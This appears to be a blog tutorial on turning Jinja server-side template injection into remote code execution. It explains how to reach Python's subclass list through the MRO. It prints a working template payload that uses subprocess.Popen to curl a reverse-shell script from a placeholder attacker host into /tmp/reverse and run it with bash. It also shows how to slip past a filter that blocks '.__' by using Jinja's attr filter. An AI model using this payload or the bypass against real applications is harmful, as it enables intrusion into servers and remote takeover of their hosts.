RCE w/ Jinja templates
In our previous article on server-side template injection (SSTI) attacks against Jinja, we only discussed leaking sensitive information using some Python builtins. That doesn’t do SSTI against Jinja must justice because we can definitely gain remote code execution (RCE) with a little bit of elbow grease.
What have to realize with Jinja is that we have access to all of the Python
packages, classes, types, methods, etc. imported by the web application and
currently available in the Python runtime at time of template injection. This
means we have access to things like subprocess.Popen
, os
, sys
etc.
Using the following dark magic, we can expose all classes available to us in the Python runtime through Jinja template injection:
{{ dict.mro()[-1].__subclasses__() }}
What do these incantations mean? mro
stands for Method Resolution Order
(MRO) and it’s a method inherited by every Python class that exposes the class
order an object searches to find the implementation of a method in any of its
parent classes. In the snippet above, we use the <class 'object'>
class,
always the last class in the MRO, to obtain access to all the subclasses of the
<class 'object'>
class.
The <class 'object'>
class is the parent of all classes implemented in
Python, giving us access to all global class definitions in the current runtime.
Finally, we call the special __subclasses__
method that gives us a reference
to all the subclasses of the <class 'object'>
class in the current Python
runtime, giving us the ability to instantiate arbitrary objects for any class in
the current runtime. More on these builtin classes can be found below:
The following snippet is a Jinja template that uses subprocess.Popen
to
download a reverse shell bash
script from the attacker host to the victim
host, saving it to /tmp/reverse
and then executing /tmp/reverse
in bash
to
initiate a reverse shell callback to the attacker host:
{% set string = "" %}
{% set class = "__class__" %}
{% set mro = "__mro__" %}
{% set subclasses = "__subclasses__" %}
{% set mro_r = string|attr(class)|attr(mro) %}
{% set subclasses_r = mro_r[-1]|attr(subclasses)() %}
{{ subclasses_r }}
{% if subclasses_r[570](["curl", "http://{ATTACKER_HOST}:{ATTACKER_PORT}/reverse", "-o", "/tmp/reverse"]) %}
{{ subclasses_r[570](["bash", "/tmp/reverse"]) }}
{% endif %}
Be wary of the index reference subclasses_r[570]
- this won’t always be the
same for all Python web applications vulnerable to Jinja SSTI. Like I mentioned
earlier, every time a Python web application starts, the __subclasses__
order
will change. Thus, we have to expose the entire list of __subclasses__
first, find the index of the subprocess.Popen
subclass in the __subclasses__
list, and then use that for our follow-up RCE payload.
Bypassing Jinja template filters
The above snippet provides an example of bypassing Jinja template filters. In our case, we were avoiding the following bad characters:
.__
The Python web application would reject templates with any characters following that exact pattern. In order to access the__mro__
and__subclasses__
attributes of ourstring
and<class 'object'>
classes, we used the Jinjaattr
function to access class attributes and methods. We also used the Jinja{%%}
directives to store the outcomes of our attribute and method calls.
We also use {% if %}
and {% endif %}
to spawn our download and execute
subprocess.Popen
calls consecutively instead of in parallel. More or bypassing
Jinja template filters, or just really good example payloads, can be found on
HackTricks: